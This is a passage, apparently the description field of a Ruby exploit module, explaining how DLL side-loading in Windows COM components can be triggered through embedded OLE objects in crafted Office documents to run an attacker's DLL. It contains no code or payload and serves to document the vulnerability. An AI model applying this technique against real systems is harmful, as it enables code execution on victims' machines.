      'Description' => %q{
        Multiple DLL side loading vulnerabilities were found in various COM components.
        These issues can be exploited by loading various these components as an embedded
        OLE object. When instantiating a vulnerable object Windows will try to load one
        or more DLLs from the current working directory. If an attacker convinces the
        victim to open a specially crafted (Office) document from a directory also
        containing the attacker's DLL file, it is possible to execute arbitrary code with
        the privileges of the target user. This can potentially result in the attacker
        taking complete control of the affected system.
